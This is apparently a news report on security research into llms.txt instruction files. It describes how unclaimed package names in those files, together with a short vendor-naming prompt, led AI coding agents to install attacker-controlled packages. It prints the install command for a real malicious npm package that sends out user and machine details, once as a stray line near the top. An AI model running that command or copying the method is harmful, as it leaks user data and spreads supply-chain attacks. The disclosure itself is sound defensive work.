Security researcher Alon Hertz and a small team scanned the web for llms.txt files, a new instruction format that websites publish next to robots.txt to tell AI coding agents which docs to read, which APIs to call and which packages to install. Google's Lighthouse tool in Chrome DevTools now checks for the file under an "Agentic browsing" audit category, pushing more sites to adopt it.

npx clerk-next-fix-auth-protection

Over a single weekend the team resolved 8,565 llms.txt files across 6,214 live domains, drawn from roughly 15,000 catalogued companies that include Fortune 500 firms, tech giants, fintechs and defense contractors. Going through the install commands inside these files, they identified more than 237 referenced package names, domains and subdomains, spanning PyPI, npm, RubyGems, NuGet, crates.io and Packagist, plus expired .dev and .io domains and abandoned Render, Vercel, Fly and Netlify subdomains, none of which had actually been claimed.

To test the real-world risk, the researchers registered a handful of these unclaimed names themselves and embedded a harmless phone-home beacon in each. The first installation callback from inside a Fortune 500 company arrived in under four minutes, a second followed within the hour, and dozens more came in from companies of varying sizes. A separate test across five frontier model configurations and two agentic CLIs showed that a single one-line prompt naming only a vendor, with no URL and no mention of llms.txt, was enough across 100 runs to make agents locate the file on their own and install the fake package.

While reviewing the data, the team found a live, non-simulated attack already in the wild. Authentication vendor Clerk's llms.txt guidance for Next.js apps instructs agents to run "npx clerk-next-fix-auth-protection". That binary is meant to ship inside Clerk's real package, @clerk/eslint-plugin, but when the bare command runs before that package is installed locally, npx resolves the name against the public npm registry instead, where an unrelated actor had already registered it. The planted package has no real functionality; on every install it exfiltrates the installer's username, machine name, working directory and timestamp. It is catalogued as MAL-2026-11069 under CWE-506 and flagged by Google's OSV.dev and Amazon Inspector. Clerk's security team was notified and fixed the issue quickly; the rogue package was created by an outside party, not by Clerk.

The researchers argue that endpoint detection tools miss this pattern entirely, because the resulting traffic looks like an ordinary pip or npm install launched by a coding agent the company installed on purpose. They describe the underlying shift as data becoming code: documentation, forums and tickets written for humans are now read and executed by AI agents, erasing the old boundary between passive content and executable code without any of the integrity checks that code normally requires.